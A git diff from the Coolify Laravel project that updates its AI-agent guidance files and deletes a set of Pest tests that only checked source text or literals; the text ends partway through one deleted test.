diff --git a/.ai/lessons.md b/.ai/lessons.md
index 1617468912..f47d1c0f63 100644
--- a/.ai/lessons.md
+++ b/.ai/lessons.md
@@ -22,6 +22,8 @@
- Do not write tests that read Blade or CSS files as text to assert layout, classes, or copy; they break on every redesign and miss real failures.
- Render the component (`Livewire::test()`, an HTTP request) and assert the result, including authorization; use a few `tests/v4/Browser` tests with screenshots for visual flows.
- A source-text check is acceptable only for a correctness or security rule that rendering cannot prove easily, such as stable `wire:key` values or no raw user output.
+- Call the app code under test. Do not copy app logic into a test, assert only literals, constants, `class_exists`/`method_exists`, or PHP built-ins such as `escapeshellarg`.
+- Pest test files share one global function scope. Give file-level helper functions a unique name.
## Keep dynamic Livewire identities stable
- In dynamic lists, key components and actions with immutable record identities, not counts, indexes, or array positions.
diff --git a/.cursor/rules/coolify-ai-docs.mdc b/.cursor/rules/coolify-ai-docs.mdc
index d99cc1692e..f3080de0e3 100644
--- a/.cursor/rules/coolify-ai-docs.mdc
+++ b/.cursor/rules/coolify-ai-docs.mdc
@@ -11,7 +11,7 @@ All Coolify AI documentation has been consolidated in the **`.ai/`** directory f
## Quick Start
-- **For Claude Code**: Start with `CLAUDE.md` in the root directory
+- **For Claude Code**: Start with `AGENTS.md` in the root directory
- **For Cursor IDE**: Start with `.ai/README.md` for navigation
- **For All AI Tools**: Browse `.ai/` directory by topic
@@ -136,7 +136,7 @@ Use exact versions from `technology-stack.md`:
5. **Form Authorization**: Security requirement, not optional
### When to Use Which File
-- **Quick commands**: `CLAUDE.md` or `development-workflow.md`
+- **Quick commands**: `AGENTS.md` or `development-workflow.md`
- **Detailed patterns**: Topic-specific files in `.ai/patterns/`
- **Testing**: `.ai/development/testing-patterns.md`
- **Laravel specifics**: `.ai/development/laravel-boost.md`
diff --git a/AGENTS.md b/AGENTS.md
index b1fb6b0f3d..c541558a60 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -38,7 +38,7 @@ Use the following workflow to test a self-hosted upgrade:
1. Install the source version with the upgrade script:
```bash
- bash upgrade.sh sha-6492d081362c009519481ac70e50873e39ba1861
+ bash scripts/upgrade.sh sha-6492d081362c009519481ac70e50873e39ba1861
```
2. Set the current Coolify version and rebuild the cached configuration:
@@ -68,7 +68,7 @@ npm run build # production build
## Browser Tests (Pest Browser Plugin)
-Uses `pestphp/pest-plugin-browser` with Laravel Dusk 8. New browser tests go in `tests/v4/Browser/`.
+Uses `pestphp/pest-plugin-browser` (Playwright). Browser tests go in `tests/v4/Browser/`.
```bash
# Run all browser tests
@@ -83,7 +83,7 @@ php artisan test --compact --filter='can login with valid credentials'
### Writing Browser Tests
-- Place new tests in `tests/v4/Browser/` — legacy Dusk tests in `tests/Browser/` should not be used as reference.
+- Place new tests in `tests/v4/Browser/`.
- Use `RefreshDatabase` and seed required data (at minimum `InstanceSettings::create(['id' => 0])`) in `beforeEach`.
- Key API: `visit()`, `fill(field, value)`, `click(text)`, `assertSee()`, `assertDontSee()`, `assertPathIs()`, `screenshot()`.
- Always call `screenshot()` at the end of each test for debugging.
@@ -100,11 +100,10 @@ function loginAsRoot(): mixed
```
- See `tests/v4/Browser/LoginTest.php`, `tests/v4/Browser/DashboardTest.php`, and `tests/v4/Browser/RegistrationTest.php` for conventions.
-- Legacy Dusk macros in `app/Providers/DuskServiceProvider.php` use the old `type()`/`press()` API — do not mix with Pest Browser Plugin's `fill()`/`click()` API.
### How Browser Tests Actually Run (no Docker, no display needed)
-`visit()` does NOT hit the dev app on `localhost:8000` and does NOT use the Dusk ChromeDriver on `:4444` (that config in `tests/DuskTestCase.php` is legacy). Instead the Pest Browser Plugin:
+`visit()` does NOT hit the dev app on `localhost:8000`. Instead the Pest Browser Plugin:
1. Starts a local Playwright server (`node node_modules/.bin/playwright run-server`) and launches a **headless Chromium** from `~/.cache/ms-playwright` (install once with `npm install && npx playwright install chromium`).
2. Boots an **in-process amphp HTTP server** on a random port that serves the Laravel app from the test process itself.
@@ -256,7 +255,6 @@ This application is a Laravel application and its main Laravel ecosystems packag
- laravel/socialite (SOCIALITE) - v5
- livewire/livewire (LIVEWIRE) - v3
- laravel/boost (BOOST) - v2
-- laravel/dusk (DUSK) - v8
- laravel/pint (PINT) - v1
- pestphp/pest (PEST) - v4
- phpunit/phpunit (PHPUNIT) - v12
diff --git a/CLAUDE.md b/CLAUDE.md
deleted file mode 120000
index 47dc3e3d86..0000000000
--- a/CLAUDE.md
+++ /dev/null
@@ -1 +0,0 @@
-AGENTS.md
\ No newline at end of file
diff --git a/tests/Feature/AllResourceRestartLimitsTest.php b/tests/Feature/AllResourceRestartLimitsTest.php
index 27402b91d6..3e7e84cc92 100644
--- a/tests/Feature/AllResourceRestartLimitsTest.php
+++ b/tests/Feature/AllResourceRestartLimitsTest.php
@@ -1,8 +1,5 @@
toContain('previewContainerRestartCounts')
- ->toContain('serviceContainerRestartCounts')
- ->and($sentinelStatus)
- ->toContain('previewContainerRestartCounts')
- ->toContain('serviceContainerRestartCounts');
-});
-
-it('ignores docker compose one-off job containers in both status sources', function () {
- $dockerStatus = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php'));
- $sentinelStatus = file_get_contents(app_path('Jobs/PushServerUpdateJob.php'));
-
- expect($dockerStatus)
- ->toContain("filter_var(data_get(\$labels, 'com.docker.compose.oneoff'), FILTER_VALIDATE_BOOLEAN)")
- ->and($sentinelStatus)
- ->toContain("filter_var(\$labels->get('com.docker.compose.oneoff'), FILTER_VALIDATE_BOOLEAN)");
-});
-
-it('imports the application model used when claiming a restart limit', function () {
- $statusAction = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php'));
-
- expect($statusAction)
- ->toContain('use App\\Models\\Application;')
- ->toContain('Application::query()');
-});
-
it('limits restarts only for applications', function () {
- $migrations = collect(glob(database_path('migrations/*.php')))
- ->map(fn (string $path): string => file_get_contents($path))
- ->implode("\n");
-
- expect($migrations)
- ->toContain("'application_previews'")
- ->toContain("'service_applications'")
- ->toContain("'max_restart_count'")
- ->toContain("'restart_limit_reached'")
- ->toContain("dropColumn(['max_restart_count', 'restart_limit_reached'])");
-
$databaseModels = [
ServiceDatabase::class,
StandalonePostgresql::class,
@@ -118,48 +74,9 @@ it('limits restarts only for applications', function () {
expect(Schema::hasColumn($databaseTable, 'max_restart_count'))->toBeFalse()
->and(Schema::hasColumn($databaseTable, 'restart_limit_reached'))->toBeFalse();
}
-
- foreach ([GetContainersStatus::class, PushServerUpdateJob::class] as $statusUpdater) {
- $source = file_get_contents((new ReflectionClass($statusUpdater))->getFileName());
-
- expect($source)
- ->not->toContain('$database->trackRestartCount')
- ->not->toContain('$database->stoppedAfterRestartLimit()');
- }
-
- $stopServiceResource = file_get_contents((new ReflectionClass(StopServiceApplication::class))->getFileName());
-
- expect($stopServiceResource)
- ->toContain('$resetRestartCount && $serviceApplication instanceof ServiceApplication');
});
it('makes restart limits opt in for new application resources', function () {
- $migrationPaths = glob(database_path('migrations/*_make_restart_limits_opt_in.php'));
-
- expect($migrationPaths)->toHaveCount(1);
-
- $migration = file_get_contents($migrationPaths[0]);
-
- expect($migration)
- ->toContain("['applications', 'application_previews', 'service_applications']")
- ->toContain("integer('max_restart_count')->default(0)->change()")
- ->toContain('public $withinTransaction = false;')
- ->toContain("->where('max_restart_count', 10)")
- ->toContain('->chunkById(5000')
- ->toContain("->whereIn('id', \$resources->pluck('id'))")
- ->toContain("'max_restart_count' => 0")
- ->toContain("'restart_limit_reached' => false");
-
- $applicationSettings = file_get_contents(app_path('Livewire/Project/Application/Advanced.php'));
- $serviceSettings = file_get_contents(app_path('Livewire/Project/Service/Index.php'));
-
- expect($applicationSettings)
- ->toContain('public int $maxRestartCount = 0;')
- ->toContain('$this->application->max_restart_count ?? 0')
- ->and($serviceSettings)
- ->toContain('public mixed $maxRestartCount = 0;')
- ->toContain('$this->serviceApplication->max_restart_count ?? 0');
-
foreach ([Application::class, ApplicationPreview::class, ServiceApplication::class] as $modelClass) {
expect((new $modelClass)->max_restart_count)->toBe(0);
}
diff --git a/tests/Feature/ApplicationContainerPresenceTest.php b/tests/Feature/ApplicationContainerPresenceTest.php
deleted file mode 100644
index 3622ec7140..0000000000
--- a/tests/Feature/ApplicationContainerPresenceTest.php
+++ /dev/null
@@ -1,26 +0,0 @@
-forceFill(['container_present' => 1]);
- $migration = file_get_contents(base_path('database/migrations/2026_08_30_193506_add_container_present_to_applications_table.php'));
-
- expect($application->container_present)->toBeTrue()
- ->and($migration)->toContain("boolean('container_present')->nullable()");
-});
-
-it('updates container presence at application lifecycle boundaries', function () {
- $stopAction = file_get_contents(app_path('Actions/Application/StopApplication.php'));
- $dockerStatus = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php'));
- $sentinelStatus = file_get_contents(app_path('Jobs/PushServerUpdateJob.php'));
-
- expect($stopAction)->toContain('$containerPresent = ! $removeContainers;')
- ->and($stopAction)->toMatch('/if \(\$server->isSwarm\(\)\).*?\$containerPresent = false;.*?docker stack rm/s')
- ->and($stopAction)->toContain("'container_present' => \$containerPresent")
- ->and($dockerStatus)->toContain("'container_present' => true")
- ->and($dockerStatus)->toContain("'container_present' => false")
- ->and($sentinelStatus)->toContain("'container_present' => true")
- ->and($sentinelStatus)->toContain("'container_present' => false");
-});
diff --git a/tests/Feature/ApplicationPreviewApiTest.php b/tests/Feature/ApplicationPreviewApiTest.php
index 829259fae3..bd00eba0e0 100644
--- a/tests/Feature/ApplicationPreviewApiTest.php
+++ b/tests/Feature/ApplicationPreviewApiTest.php
@@ -177,17 +177,6 @@ describe('GET /api/v1/applications/{uuid}/previews/{pull_request_id}/logs', func
->assertUnprocessable()
->assertJson(['message' => 'Invalid pull_request_id.']);
});
-
- test('uses the pull request id to select the preview container', function () {
- $controller = file_get_contents(app_path('Http/Controllers/Api/ApplicationsController.php'));
- $openApi = json_decode(file_get_contents(base_path('openapi.json')), true, flags: JSON_THROW_ON_ERROR);
-
- expect($controller)
- ->toContain("\$request->route('pull_request_id')")
- ->toContain('getCurrentApplicationContainerStatus($application->destination->server, $application->id, $pullRequestId)')
- ->and($openApi['paths'])
- ->toHaveKey('/applications/{uuid}/previews/{pull_request_id}/logs');
- });
});
describe('PATCH /api/v1/applications/{uuid}/previews/{pull_request_id}', function () {
diff --git a/tests/Feature/ApplicationStoppedAfterRestartLimitTest.php b/tests/Feature/ApplicationStoppedAfterRestartLimitTest.php
index 02ef6ba162..dc1cf5ea0c 100644
--- a/tests/Feature/ApplicationStoppedAfterRestartLimitTest.php
+++ b/tests/Feature/ApplicationStoppedAfterRestartLimitTest.php
@@ -1,8 +1,6 @@
not->toContain('Restart limit reached');
});
-it('keeps restart tracking configurable when stopping an application', function () {
- $method = new ReflectionMethod(StopApplication::class, 'handle');
- $resetRestartCount = collect($method->getParameters())->firstWhere('name', 'resetRestartCount');
-
- expect($resetRestartCount)->not->toBeNull()
- ->and($resetRestartCount->getDefaultValue())->toBeTrue();
-});
-
-it('can stop an application without removing its containers', function () {
- $method = new ReflectionMethod(StopApplication::class, 'handle');
- $removeContainers = collect($method->getParameters())->firstWhere('name', 'removeContainers');
- $action = file_get_contents(app_path('Actions/Application/StopApplication.php'));
-
- expect($removeContainers)->not->toBeNull()
- ->and($removeContainers->getDefaultValue())->toBeTrue()
- ->and($action)->not->toContain('docker update --restart=no')
- ->and($action)->toContain('if ($removeContainers)');
-});
-
-it('preserves containers and skips cleanup when the restart limit is reached', function () {
- $statusAction = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php'));
- $sentinelJob = file_get_contents(app_path('Jobs/PushServerUpdateJob.php'));
-
- expect($statusAction)->toContain('dockerCleanup: false')
- ->and($statusAction)->toContain('resetRestartCount: false')
- ->and($statusAction)->toContain('removeContainers: false')
- ->and($statusAction)->toContain("['restart_limit_reached' => true]")
- ->and($sentinelJob)->toContain("['restart_limit_reached' => true]");
-});
-
-it('atomically claims the restart limit transition before stopping and notifying', function () {
- $statusAction = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php'));
- $sentinelJob = file_get_contents(app_path('Jobs/PushServerUpdateJob.php'));
-
- foreach ([$statusAction, $sentinelJob] as $detector) {
- expect($detector)
- ->toContain("->where('restart_limit_reached', false)")
- ->toContain("->update(['restart_limit_reached' => true]) === 1");
- }
-});
-
-it('clears the explicit restart limit state only after a successful main deployment', function () {
- $method = new ReflectionMethod(ApplicationDeploymentJob::class, 'handleSuccessfulDeployment');
- $source = file($method->getFileName());
- $deploymentJob = implode(array_slice($source, $method->getStartLine() - 1, $method->getEndLine() - $method->getStartLine() + 1));
-
- expect(substr_count($deploymentJob, "'restart_limit_reached'] = false"))->toBe(1)
- ->and($deploymentJob)->toContain("if (\$this->pull_request_id === 0) {\n \$restartState['restart_limit_reached'] = false;\n }")
- ->and($deploymentJob)->toContain('$this->application->update($restartState);')
- ->and(substr_count($deploymentJob, '$this->application->update('))->toBe(1);
-});
-
-it('preserves restart-limit applications only while their exited container exists', function () {
- $statusAction = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php'));
- $sentinelJob = file_get_contents(app_path('Jobs/PushServerUpdateJob.php'));
-
- expect($statusAction)->toContain("'container_present' => false")
- ->and($statusAction)->toContain("'restart_limit_reached' => false")
- ->and($sentinelJob)->toContain('if ($application->stoppedAfterRestartLimit() && $containerStatuses->every(');
-});
-
it('builds restart limit notification urls from the instance base url', function () {
$application = new Application;
$application->forceFill([
diff --git a/tests/Feature/AuditEventsTest.php b/tests/Feature/AuditEventsTest.php
index 21771ba5f6..b30526a580 100644
--- a/tests/Feature/AuditEventsTest.php
+++ b/tests/Feature/AuditEventsTest.php
@@ -1,7 +1,5 @@
getProperty('middleware')->getValue($kernel);
-
- expect($middleware)->toContain(InvokeDeferredCallbacks::class);
-});
-
test('audit persistence failures do not fail the action', function () {
Schema::rename('audit_events', 'unavailable_audit_events');
@@ -837,23 +827,6 @@ test('audit action filter includes actions recorded for the current team', funct
], $options, true));
});
-test('resource clone audit starts only after the destination server capability check', function () {
- $source = file_get_contents(app_path('Livewire/Project/Shared/ResourceOperations.php'));
-
- expect(strpos($source, "auditLog('ui.resource.clone_started'"))
- ->toBeGreaterThan(strpos($source, 'if (! $server->canHostResources())'));
-});
-
-test('pull and restart records the service restart audit event after starting the service', function () {
- $method = new ReflectionMethod(Heading::class, 'pullAndRestartEvent');
- $source = file($method->getFileName());
- $methodSource = implode('', array_slice($source, $method->getStartLine() - 1, $method->getEndLine() - $method->getStartLine() + 1));
-
- expect($methodSource)
- ->toContain("auditServiceAction('ui.service.restarted')")
- ->and(strpos($methodSource, 'StartService::run'))->toBeLessThan(strpos($methodSource, 'auditServiceAction'));
-});
-
test('critical operational events persist with their source action and actor', function (string $event) {
auditLog($event, [
'team_id' => $this->team->id,
diff --git a/tests/Feature/ComposeEditorLayoutTest.php b/tests/Feature/ComposeEditorLayoutTest.php
index 88138480c9..98d5051e38 100644
--- a/tests/Feature/ComposeEditorLayoutTest.php
+++ b/tests/Feature/ComposeEditorLayoutTest.php
@@ -2,20 +2,6 @@
use Illuminate\Support\Facades\Blade;
-it('keeps the save button loading until the parent compose save finishes', function () {
- $component = file_get_contents(app_path('Livewire/Project/Service/StackForm.php'));
-
- expect($component)
- ->toContain('public function saveCompose($raw)')
- ->toContain("\$this->dispatch('compose-save-finished')");
-});
-
-it('does not show a saving notification for compose changes', function () {
- $component = file_get_contents(app_path('Livewire/Project/Service/EditCompose.php'));
-
- expect($component)->not->toContain("\$this->dispatch('info', 'Saving new docker compose...')");
-});
-
it('keeps the saving state as an Alpine button binding', function () {
$html = Blade::render('Save changes');
diff --git a/tests/Feature/ContentFilesBeforeComposeUpTest.php b/tests/Feature/ContentFilesBeforeComposeUpTest.php
index 6a76566554..f310026e52 100644
--- a/tests/Feature/ContentFilesBeforeComposeUpTest.php
+++ b/tests/Feature/ContentFilesBeforeComposeUpTest.php
@@ -499,21 +499,6 @@ test('the storage save job does not delete a directory that is not empty', funct
expect($volume->fresh()->is_directory)->toBeFalse();
});
-test('the Compose deployment writes content files after it removes the old containers', function () {
- $source = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
- $methodStart = strpos($source, 'private function deploy_docker_compose_buildpack()');
- $methodEnd = strpos($source, 'private function pull_docker_compose_images()', $methodStart);
- $deploymentMethod = substr($source, $methodStart, $methodEnd - $methodStart);
-
- $stopPosition = strpos($deploymentMethod, '$this->stop_running_container(force: true);');
- $startPosition = strpos($deploymentMethod, '$this->start_docker_compose_services();');
-
- expect($stopPosition)->not->toBeFalse()
- ->and($startPosition)->not->toBeFalse()
- ->and($stopPosition)->toBeLessThan($startPosition)
- ->and(substr_count($deploymentMethod, ' up -d'))->toBe(0);
-});
-
test('the server file sync keeps the content of a file storage when a directory is at its path', function () {
$volume = contentFilesVolume($this->application, 'conf/app.conf');
fakeContentFilesServer([$volume->fs_path => 'directory']);
diff --git a/tests/Feature/DatabaseImportCommandInjectionTest.php b/tests/Feature/DatabaseImportCommandInjectionTest.php
index 114d198844..e2985e44bf 100644
--- a/tests/Feature/DatabaseImportCommandInjectionTest.php
+++ b/tests/Feature/DatabaseImportCommandInjectionTest.php
@@ -102,25 +102,3 @@ describe('server method uses team scoping', function () {
expect($methodBody)->not->toContain('Server::find($this->serverId)');
});
});
-
-describe('ImportForm component uses shared ValidationPatterns', function () {
- test('runImport references ValidationPatterns for container validation', function () {
- $method = new ReflectionMethod(ImportForm::class, 'runImport');
- $startLine = $method->getStartLine();
- $endLine = $method->getEndLine();
- $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
- $methodBody = implode('', $lines);
-
- expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
- });
-
- test('restoreFromS3 references ValidationPatterns for container validation', function () {
- $method = new ReflectionMethod(ImportForm::class, 'restoreFromS3');
- $startLine = $method->getStartLine();
- $endLine = $method->getEndLine();
- $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
- $methodBody = implode('', $lines);
-
- expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
- });
-});
diff --git a/tests/Feature/DevHelperVersionValidationTest.php b/tests/Feature/DevHelperVersionValidationTest.php
index 0a91141850..65a1b5a275 100644
--- a/tests/Feature/DevHelperVersionValidationTest.php
+++ b/tests/Feature/DevHelperVersionValidationTest.php
@@ -99,11 +99,3 @@ test('development helper version is read fresh for queue workers', function () {
expect(getHelperVersion())->toBe('second');
});
-
-test('development helper build uses the configured helper repository', function () {
- $component = file_get_contents(app_path('Livewire/Settings/Index.php'));
-
- expect($component)
- ->toContain('$imageRef = escapeshellarg(coolifyHelperImage().":{$version}");')
- ->not->toContain('"ghcr.io/coollabsio/coolify-helper:{$version}"');
-});
diff --git a/tests/Feature/DomainChipsComponentTest.php b/tests/Feature/DomainChipsComponentTest.php
deleted file mode 100644
index e28bd6b59e..0000000000
--- a/tests/Feature/DomainChipsComponentTest.php
+++ /dev/null
@@ -1,10 +0,0 @@
-toContain('public function enablePublicAccess(): void')
- ->toContain('public function disablePublicAccess(): void')
- ->toContain('$this->instantSave()');
-});
diff --git a/tests/Feature/EnvironmentVariableTableLayoutTest.php b/tests/Feature/EnvironmentVariableTableLayoutTest.php
deleted file mode 100644
index 17f7b61927..0000000000
--- a/tests/Feature/EnvironmentVariableTableLayoutTest.php
+++ /dev/null
@@ -1,22 +0,0 @@
-toContain("CASE WHEN key LIKE 'SERVICE_FQDN%'")
- ->toMatch("/'kind' => 'managed',[\\s\\S]+?'kind' => 'hardcoded'/");
-});
-
-test('missing required environment variables are ordered before generated service variables', function () {
- $component = file_get_contents(app_path('Livewire/Project/Shared/EnvironmentVariable/All.php'));
-
- $requiredOrder = strpos($component, '$this->missingRequiredEnvironmentVariableIds($isPreview)', strpos($component, 'private function managedEnvironmentVariablesQuery'));
- $generatedOrder = strpos($component, "CASE WHEN key LIKE 'SERVICE_FQDN%'", strpos($component, 'private function managedEnvironmentVariablesQuery'));
-
- expect($requiredOrder)
- ->not->toBeFalse()
- ->toBeLessThan($generatedOrder)
- ->and($component)
- ->toContain('->filter(fn (EnvironmentVariable $environmentVariable): bool => $environmentVariable->is_really_required)');
-});
diff --git a/tests/Feature/Jobs/CheckTraefikVersionJobTest.php b/tests/Feature/Jobs/CheckTraefikVersionJobTest.php
index 7b127ba7f2..66b40a717b 100644
--- a/tests/Feature/Jobs/CheckTraefikVersionJobTest.php
+++ b/tests/Feature/Jobs/CheckTraefikVersionJobTest.php
@@ -5,7 +5,6 @@ use App\Models\InstanceSettings;
use App\Models\Server;
use App\Models\Team;
use App\Notifications\Server\TraefikVersionOutdated;
-use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Artisan;
use Illuminate\Support\Facades\File;
@@ -88,37 +87,6 @@ it('versions.json contains traefik branches with patch versions', function () {
expect($newestBranch)->toBe('3.7');
});
-it('formats version with v prefix for display', function () {
- // Test the formatVersion logic from notification class
- $version = '3.6';
- $formatted = str_starts_with($version, 'v') ? $version : "v{$version}";
-
- expect($formatted)->toBe('v3.6');
-
- $versionWithPrefix = 'v3.6';
- $formatted2 = str_starts_with($versionWithPrefix, 'v') ? $versionWithPrefix : "v{$versionWithPrefix}";
-
- expect($formatted2)->toBe('v3.6');
-});
-
-it('compares semantic versions correctly', function () {
- // Test version comparison logic used in job
- $currentVersion = 'v3.5';
- $latestVersion = 'v3.6';
-
- $isOutdated = version_compare(ltrim($currentVersion, 'v'), ltrim($latestVersion, 'v'), '<');
-
- expect($isOutdated)->toBeTrue();
-
- // Test equal versions
- $sameVersion = version_compare(ltrim('3.6', 'v'), ltrim('3.6', 'v'), '=');
- expect($sameVersion)->toBeTrue();
-
- // Test newer version
- $newerVersion = version_compare(ltrim('3.7', 'v'), ltrim('3.6', 'v'), '>');
- expect($newerVersion)->toBeTrue();
-});
-
it('notification class accepts servers collection with outdated info', function () {
$team = Team::factory()->create();
$server1 = Server::factory()->make([
@@ -177,47 +145,6 @@ it('job handles servers with no proxy type', function () {
expect($server->proxyType())->toBeNull();
});
-it('handles latest tag correctly', function () {
- // Test that 'latest' tag is not considered for outdated comparison
- $currentVersion = 'latest';
- $latestVersion = '3.6';
-
- // Job skips notification for 'latest' tag
- $shouldNotify = $currentVersion !== 'latest';
-
- expect($shouldNotify)->toBeFalse();
-});
-
-it('groups servers by team correctly', function () {
- $team1 = Team::factory()->create(['name' => 'Team 1']);
- $team2 = Team::factory()->create(['name' => 'Team 2']);
-
- $servers = collect([
- (object) ['team_id' => $team1->id, 'name' => 'Server 1'],
- (object) ['team_id' => $team1->id, 'name' => 'Server 2'],
- (object) ['team_id' => $team2->id, 'name' => 'Server 3'],
- ]);
-
- $grouped = $servers->groupBy('team_id');
-
- expect($grouped)->toHaveCount(2);
- expect($grouped[$team1->id])->toHaveCount(2);
- expect($grouped[$team2->id])->toHaveCount(1);
-});
-
-it('server check job exists and has correct structure', function () {
- expect(class_exists(CheckTraefikVersionForServerJob::class))->toBeTrue();
-
- // Verify CheckTraefikVersionForServerJob has required properties
- $reflection = new ReflectionClass(CheckTraefikVersionForServerJob::class);
- expect($reflection->hasProperty('tries'))->toBeTrue();
- expect($reflection->hasProperty('timeout'))->toBeTrue();
-
- // Verify it implements ShouldQueue
- $interfaces = class_implements(CheckTraefikVersionForServerJob::class);
- expect($interfaces)->toContain(ShouldQueue::class);
-});
-
it('sends immediate notifications when outdated traefik is detected', function () {
// Notifications are now sent immediately from CheckTraefikVersionForServerJob
// when outdated Traefik is detected, rather than being aggregated and delayed
diff --git a/tests/Feature/Jobs/DatabaseBackupJobTest.php b/tests/Feature/Jobs/DatabaseBackupJobTest.php
index 1c4047252d..3ff9a2cf28 100644
--- a/tests/Feature/Jobs/DatabaseBackupJobTest.php
+++ b/tests/Feature/Jobs/DatabaseBackupJobTest.php
@@ -360,17 +360,6 @@ test('database dump compression uses the helper image and shared CPU setting', f
'high' => 75,
]);
-test('all dump all database commands use shared helper compression', function () {
- $source = file_get_contents(app_path('Jobs/DatabaseBackupJob.php'));
-
- expect($source)
- ->toContain('$this->buildCompressedDumpCommand($backupCommand)')
- ->toContain('mysqldump -u root')
- ->toContain('mariadb-dump -u root')
- ->and(substr_count($source, '$this->buildCompressedDumpCommand($dumpCommand)'))->toBe(3)
- ->and($source)->not->toContain('| gzip >');
-});
-
test('full database dumps create one logical all-databases archive regardless of saved database names', function (string $databaseType) {
$backup = new ScheduledDatabaseBackup([
'dump_all' => true,
@@ -398,13 +387,3 @@ test('specific database dumps keep every selected database', function (string $d
expect($databases)->toBe(['default', 'analytics']);
})->with(['postgresql', 'mysql', 'mariadb']);
-
-test('individual database backup deletion surfaces local failures and honors selected S3 deletion', function () {
- $source = file_get_contents(app_path('Livewire/Project/Database/BackupExecutions.php'));
-
- expect($source)
- ->toContain("in_array('delete_backup_s3', \$selectedActions, true)")
- ->toContain('deleteBackupsLocally($execution->filename, $server, throwError: true)')
- ->toContain("throw new \\RuntimeException('The backup server is unavailable.')")
- ->not->toContain('deleteBackupsLocally($execution->filename, $server);');
-});
diff --git a/tests/Feature/NotificationRestartLimitSettingTest.php b/tests/Feature/NotificationRestartLimitSettingTest.php
deleted file mode 100644
index 263e424d3f..0000000000
--- a/tests/Feature/NotificationRestartLimitSettingTest.php
+++ /dev/null
@@ -1,32 +0,0 @@
-toContain("public bool \${$property} = true;")
- ->toContain("\$this->settings->{$column} = \$this->{$property};")
- ->toContain("\$this->{$property} = \$this->settings->{$column};")
- ->and($model)
- ->toContain("'{$column}'");
-})->with(['email', 'discord', 'telegram', 'slack', 'pushover', 'webhook']);
-
-it('enables restart limit notifications by default in every channel migration', function () {
- $migrations = collect(glob(database_path('migrations/*_add_restart_limit_reached_notifications_to_*')));
-
- expect($migrations)->toHaveCount(6);
- $migrations->each(fn (string $migration) => expect(file_get_contents($migration))->toContain('->default(true)'));
-});
-
-it('uses the inline validator facade for notification API updates', function () {
- $controller = file_get_contents(app_path('Http/Controllers/Api/NotificationsController.php'));
-
- expect($controller)
- ->toContain('use Illuminate\\Support\\Facades\\Validator;')
- ->toContain("Validator::make(\$body, \$config['rules'])")
- ->not->toContain("customApiValidator(\$body, \$config['rules'])");
-});
diff --git a/tests/Feature/PreviewDomainPortOverridesTest.php b/tests/Feature/PreviewDomainPortOverridesTest.php
index 9d532d011f..db78ef95ca 100644
--- a/tests/Feature/PreviewDomainPortOverridesTest.php
+++ b/tests/Feature/PreviewDomainPortOverridesTest.php
@@ -394,16 +394,6 @@ it('copies the parent domain port override onto a generated preview domain', fun
->toBe([8080]);
});
-it('saves generated preview domains once in the application parser', function () {
- $parser = file_get_contents(base_path('bootstrap/helpers/parsers.php'));
- $previewGeneration = Str::of($parser)
- ->after('// If the domain is set, we need to generate the FQDNs for the preview')
- ->before('$defaultLabels = defaultLabels');
-
- expect($previewGeneration->substrCount('$preview->save();'))->toBe(1)
- ->and((string) $previewGeneration)->toContain('$preview->fqdn = $fqdns->implode(\',\');');
-});
-
it('keeps every generated preview domain port override in the legacy compose parser', function () {
$this->application->update([
'build_pack' => 'dockercompose',
diff --git a/tests/Feature/PreviewEnvVarFallbackTest.php b/tests/Feature/PreviewEnvVarFallbackTest.php
index e3fc3023f3..985f1e0cc2 100644
--- a/tests/Feature/PreviewEnvVarFallbackTest.php
+++ b/tests/Feature/PreviewEnvVarFallbackTest.php
@@ -27,182 +27,6 @@ beforeEach(function () {
$this->actingAs($this->user);
});
-/**
- * Simulate the preview .env generation logic from
- * ApplicationDeploymentJob::generate_runtime_environment_variables()
- * including the production fallback fix.
- */
-function simulatePreviewEnvGeneration(Application $application): \Illuminate\Support\Collection
-{
- $sorted_environment_variables = $application->environment_variables->sortBy('id');
- $sorted_environment_variables_preview = $application->environment_variables_preview->sortBy('id');
-
- $envs = collect([]);
-
- // Preview vars
- $runtime_environment_variables_preview = $sorted_environment_variables_preview->filter(fn ($env) => $env->is_runtime);
- foreach ($runtime_environment_variables_preview as $env) {
- $envs->push($env->key.'='.$env->real_value);
- }
-
- // Fallback: production vars not overridden by preview,
- // only when preview vars are configured
- if ($runtime_environment_variables_preview->isNotEmpty()) {
- $previewKeys = $runtime_environment_variables_preview->pluck('key')->toArray();
- $fallback_production_vars = $sorted_environment_variables->filter(function ($env) use ($previewKeys) {
- return $env->is_runtime && ! in_array($env->key, $previewKeys);
- });
- foreach ($fallback_production_vars as $env) {
- $envs->push($env->key.'='.$env->real_value);
- }
- }
-
- return $envs;
-}
-
-test('production vars fall back when preview vars exist but do not cover all keys', function () {
- // Create two production vars (booted hook auto-creates preview copies)
- EnvironmentVariable::create([
- 'key' => 'DB_PASSWORD',
- 'value' => 'secret123',
- 'is_preview' => false,
- 'is_runtime' => true,
- 'is_buildtime' => false,
- 'resourceable_type' => Application::class,
- 'resourceable_id' => $this->application->id,
- ]);
-
- EnvironmentVariable::create([
- 'key' => 'APP_KEY',
- 'value' => 'app_key_value',
- 'is_preview' => false,
- 'is_runtime' => true,
- 'is_buildtime' => false,
- 'resourceable_type' => Application::class,
- 'resourceable_id' => $this->application->id,
- ]);
-
- // Delete only the DB_PASSWORD preview copy — APP_KEY preview copy remains
- $this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->delete();
- $this->application->refresh();
-
- // Preview has APP_KEY but not DB_PASSWORD
- expect($this->application->environment_variables_preview()->where('key', 'APP_KEY')->count())->toBe(1);
- expect($this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->count())->toBe(0);
-
- $envs = simulatePreviewEnvGeneration($this->application);
-
- $envString = $envs->implode("\n");
- // DB_PASSWORD should fall back from production
- expect($envString)->toContain('DB_PASSWORD=');
- // APP_KEY should use the preview value
